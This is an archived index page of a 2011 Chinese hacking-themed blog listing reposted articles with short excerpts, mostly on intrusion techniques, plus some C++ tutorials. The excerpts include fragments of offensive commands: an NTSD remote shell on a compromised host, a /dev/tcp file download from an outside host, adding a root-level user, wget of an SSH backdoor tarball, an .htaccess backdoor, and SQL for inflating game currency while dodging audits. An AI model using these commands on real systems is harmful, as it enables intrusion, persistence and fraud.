乐胖代购免代理版

webshell下连接dsn类型的数据库

对于windows系统，经常碰到使用dsn的mdb/accsss,sql server 2000/2005数据库连接，主要是ip地址不知道，通过搜索，可以使用以下方法来找到：网上也有人给了命令，自己看： reg export HKEY_LOCAL_MACHINE\SOFTWARE\OD

职场

休闲

dsn

hackfreer

转载精选 2011-05-21 09:22:14 939 阅读

用.htaccess做更隐蔽的后门

作者:kindle From:http://key0.cn/?p=285 万恶的引用功能，下文复制粘贴无用，请自行将双引号修改 .htaccess内容如下 #首先允许web访问这个文件 <Files ~ “^\.ht”> Order allow,deny Allow from all </Files> RedirectMatch

职场

休闲

htaccess

hackfreer

转载精选 2011-05-21 00:42:47 2576 阅读

Install-BT5-on-the-Nokia-N900

install BackTrack 5 on Nokia N900 you can download the p_w_picpath: http://mirror.backtrack-linux.cn/BT5-GNOME-ARM.7z or http://mirror.edu.backtrack-linux.cn/backtrack/iso/BT5-GNOME-ARM.7z -

Nokia

休闲

BT5

N900

hackfreer

转载精选 2011-05-19 13:27:38 1623 阅读

MySQL注射攻击与防范详解

PHP+MySQL JSP+MySQL 一.基础知识 1.MYSQL的版本 4.0以下，4.0以上，5.0以上。 4.0以下不支持union

职场

Mysql

数据库

休闲

转载精选 2011-05-18 07:58:05 1709 阅读

MySQL数据库安全资源

MySQL数据库攻击 Title: Hackproofing MySQL Author: Chris Anley, NGSSoftware Type: Whitepaper / pdf [Mirror] [Original] MySQL数据库安全 Title: Making MySQL Secure Against A

职场

Mysql

数据库

休闲

转载精选 2011-05-17 14:46:00 716 阅读

SQL Server数据库安全资源

Oracle数据库漏洞评估工具 NGSSQuirreL for Oracle AppDetective Audit DB Oracle数据库漏洞 Date: 18th October 2005 Title: Oracle October 2005 Critical Patch Update Type: Patchset So

Server

数据库

休闲

MSSQL

数据库安全资源

转载精选 2011-05-17 14:45:20 827 阅读

Oracle数据库安全资源-3

Oracle数据库漏洞评估工具 NGSSQuirreL for Oracle AppDetective Audit DB Oracle数据库漏洞 Date: 18th October 2005 Title: Oracle October 2005 Critical Patch Update Type: Patchset So

Oracle

职场

休闲

Oracle数据库，数据库

转载精选 2011-05-17 14:44:47 744 阅读

Oracle数据库安全资源-2

Oracle数据库安全资源 Title: Project Lockdown Author: Arup Nanda, Oracle Type: Whi

Oracle

职场

休闲

Oracle数据库，数据库

转载精选 2011-05-17 14:44:03 806 阅读

Web应用安全和数据库安全资源

SQL注入工具 Title: SQLInjector Author: David Litchfield, NGSSoftware Type: tool Title: Data-mining with SQL Injection and Inference Author: David Litchfield,

Oracle

职场

休闲

Oracle数据库，数据库

转载精选 2011-05-17 14:43:22 1104 阅读 1收藏

Oracle数据库安全资源-1

Oracle数据库取证 Title: Oracle Forensics DDLDump Author: David Litchfield, V3RITY LTD Type: pdf [Original] Title: Oracle Forensics Part 7:

Oracle

职场

SQL

休闲

注入

转载精选 2011-05-17 14:34:12 650 阅读

Dumping ssl passwords with sslstrip

Well if you are looking to trap some ssl password sets or any site that use ssl to encrypt traffic here is a small tut to help you with that this uses a tool or script call sslstrip. What this tool

职场

ssl

休闲

sslstrip

转载精选 2011-05-13 18:45:08 878 阅读

Local File Inclusion to Remote Command Execution using SSH

Log poisoning has been used for years to upgrade local file inclusion vulnerabilities to remote command execution. In most cases, web server logs are used to execute such an attack. Most admin

职场

ssh

休闲

LFI

转载精选 2011-05-13 12:19:21 674 阅读 2评论

渗透测试人员汇编资源[墙外]

Below are the useful resources to learn Assembley Language for pentesters to start learning Exploit writing http://www.skullsecurity.org/wiki/index.php/Assembly Linux Assembley http://a

职场

测试人员

休闲

ASM

转载精选 2011-05-13 12:12:14 1176 阅读

C++二进制文件读写

今天在做项目时联想到了这两个问题，所以实际编程测试了一下，有一些新的收获： <1> 我一直以为自己很熟悉如何使用C/C++中的二进制文件，可今天测试的时候突然发现程序生成的二进制文件和文本文件一样。比如： FILE* fp = fopen("binary","wb"); //FILE* fp = fopen("ch

C++

职场

休闲

二进制文件

转载精选 2011-05-10 16:44:11 10000+阅读 5点赞 5评论

Windows溢出保护原理与绕过方法概览

By : riusksk（泉哥） Blog: http://riusksk.blogbus.com Data: 2011/3/26 前言从20世纪80年代开始，在国外就有人开始讨论关于溢出的攻击方式。但是在当时并没有引起人们的注意，直至后来经一些研究人员的披露后，特别是著名黑客杂志Phrack上面关于溢出的经典文章，引领许多人步入溢出研究的行列，从

职场

windows

休闲

溢出

保护机制

转载精选 2011-05-09 21:12:35 5142 阅读

用python写exploit

测试软件漏洞时，个人比较钟爱用python来完成exploit，简单，快速。也见过不少用perl来写的，我不喜欢。随便记录一些常用的方法。 python中有个概念叫模块，模块中包含了定义的函数，方便重用。使用模块的语句如下： import 模块名 struct模块有个很方便的函数，pack，格式如下： struct.pack(format，参数) 将参数内

职场

休闲

Exp

python

exploit

转载精选 2011-05-09 17:15:35 3514 阅读 1点赞 2评论

微軟的後門：NTSD 無視任何安全軟件

原本只是九區內部共享.蛋疼.本着共享的精神發出來了以後慢慢公佈一些東西吧.殺毒商.顫抖吧 1.肉雞上運行 ntsd -server tcp:port=端口 calc.exe 2.本機運行ntsd -remote tcp:server=IP,port=端口 //會彈出一個框. 3.輸入.shell，取得shell -.-

职场

共享

休闲

NTSD

转载精选 2011-05-08 19:34:30 660 阅读 2评论

漏洞利用工具包——另一种观点

漏洞利用工具包可以对存在于常见软件中的多个漏洞进行攻击。工具包中包含多个恶意程序，主要用来进行自动的“浏览即下载”攻击，对恶意软件进行传播。这些工具包可以在黑市上购买和销售，其价格从几百元到上千元一款不等。此外，目前漏洞利用工具包的租用也非常普遍。正因为如此，使得其市场竞争较为激烈，有众多参与者以及不同的工具编写者。 &nb

职场

漏洞

休闲

转载精选 2011-04-29 21:51:23 1758 阅读

单目运算符重载为友元函数

friend Clock operator ++(Clock&,int); friend Clock operator ++(Clock& c,int) ｛　　Clock temp(c); &nbs

C++

职场

休闲

友元函数

单目运算符重载

转载精选 2011-04-28 18:21:58 1316 阅读

运算符重载：友元（friend）函数问题

运算符在重载的时候有两种方式，一是成员函数方式，二是成友元（friend）函数方式。成员函数比较简单。下面是一个示例代码： class Complex { private: double real; double img; public: Complex(){}

休闲

friend

运算符重载

友元

函数问题

转载精选 2011-04-28 15:45:39 1631 阅读

学习C++的50条忠告

1.把C++当成一门新的语言学习（和C没啥关系！真的。）； 2.看《Thinking In C++》，不要看《C++变成死相》； 3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看； 4.不要被VC、BCB、BC

C++

职场

休闲

转载精选 2011-04-26 21:48:39 427 阅读

内网渗透中SSh的巧用ring04h

在渗透测试过程中，经常遇到如下情形，内部网络主机通过路由器或者安全设备做了访问控制，无法通过互联网直接访问本地开放的服务，Windows方面，国内通常选择Lcx.exe来进行端口转发，在应用方面大多数人也会选择reDuh来进行端口转发，而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。由于时间有限，本文只详细的介绍ssh tunnel方面的知识,ipta

职场

SSH

休闲

ring04h

转载精选 2011-04-22 11:03:43 618 阅读

Update記錄

1. select dbo.DoAlzXor(999) //999代表要刷的钱返回一个负数.-5108668643680970581 2. 使用存储过程,避过太过于明显的审计.//注意他后面会不会加入我们这个存储过程,因为取名太象了. CREATE PROCEDURE cabal_tool_character_ex( @characteridx int,@LEV int,@

职场

SQL

休闲

Update记录

转载精选 2011-04-22 11:02:09 564 阅读

linux渗透小技巧

1.无wget nc等下载工具时下载文件 exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl 2.Linux添加uid为0的用户 useradd -o -u 0

Linux

职场

休闲

转载精选 2011-04-22 11:01:29 573 阅读

ssh后门快速安装

1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old 2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 3、下载并安装ssh后门: shell-# wget http://192.168.1.188/sshbd.tgz shell-# tar zxvf sshbd.tgz

职场

SSH

休闲

ring04h

转载精选 2011-04-22 11:00:51 1632 阅读

Hacking Bash History

[==============================================================================] [---------------------------[ Hacking Bash History ]————————&m

Linux

History

Hacking

休闲

Bash

转载精选 2011-04-22 10:59:29 763 阅读

mysql错误信息的利用

在很多的情况下我们不能直接方便的进行注入，于是有了BENCHMARK延迟注射；如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误，php中是调用mysql_error()，其他脚本可能有自己的函数)，现在又有了更方便的方法。网上流传了两三种方法: =======================================================

职场

mysql

sql

数据库

休闲

转载精选 2011-04-22 10:58:37 700 阅读

Mysql 另类盲注中的一些技巧

转:oldjun.com —————————————————————————- 很多

职场

mysql

sql

数据库

休闲

转载精选 2011-04-22 10:58:05 595 阅读

Linux平台下 MYSQL用户自定义函数(UDF)的利用

来源:http://hi.baidu.com/ylbhz Linux平台下 MYSQL用户自定义函数(UDF)的利用 Chris Anley [chris@ngssoftware.com] 5th July 2004 根据MySQL函数族的可扩展机制，意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数，简称udf 通过CREATE FUNCTION语句来实现这一机制

Linux

MYSQL

数据库

休闲

Udf

转载精选 2011-04-22 10:47:43 2104 阅读

FreeBSD 8., 7. Local root Exploit

/* freebsd mbufs() sendfile cache poisoning-priv escalation x86/x64 local root xpl v2 by Kingcope

职场

FreeBSD

休闲

转载精选 2011-04-21 19:29:24 695 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

About:Blank H4cking

webshell下连接dsn类型的数据库

用.htaccess做更隐蔽的后门

Install-BT5-on-the-Nokia-N900

MySQL注射攻击与防范详解

MySQL数据库安全资源

SQL Server数据库安全资源

Oracle数据库安全资源-3

Oracle数据库安全资源-2

Web应用安全和数据库安全资源

Oracle数据库安全资源-1

Dumping ssl passwords with sslstrip

Local File Inclusion to Remote Command Execution using SSH

渗透测试人员汇编资源[墙外]

C++二进制文件读写

Windows溢出保护原理与绕过方法概览

用python写exploit

微軟的後門：NTSD 無視任何安全軟件

漏洞利用工具包——另一种观点

单目运算符重载为友元函数

运算符重载：友元（friend）函数问题

学习C++的50条忠告

内网渗透中SSh的巧用ring04h

Update記錄

linux渗透小技巧

ssh后门快速安装

Hacking Bash History

mysql错误信息的利用

Mysql 另类盲注中的一些技巧

Linux平台下 MYSQL用户自定义函数(UDF)的利用

FreeBSD 8., 7. Local root Exploit

欢迎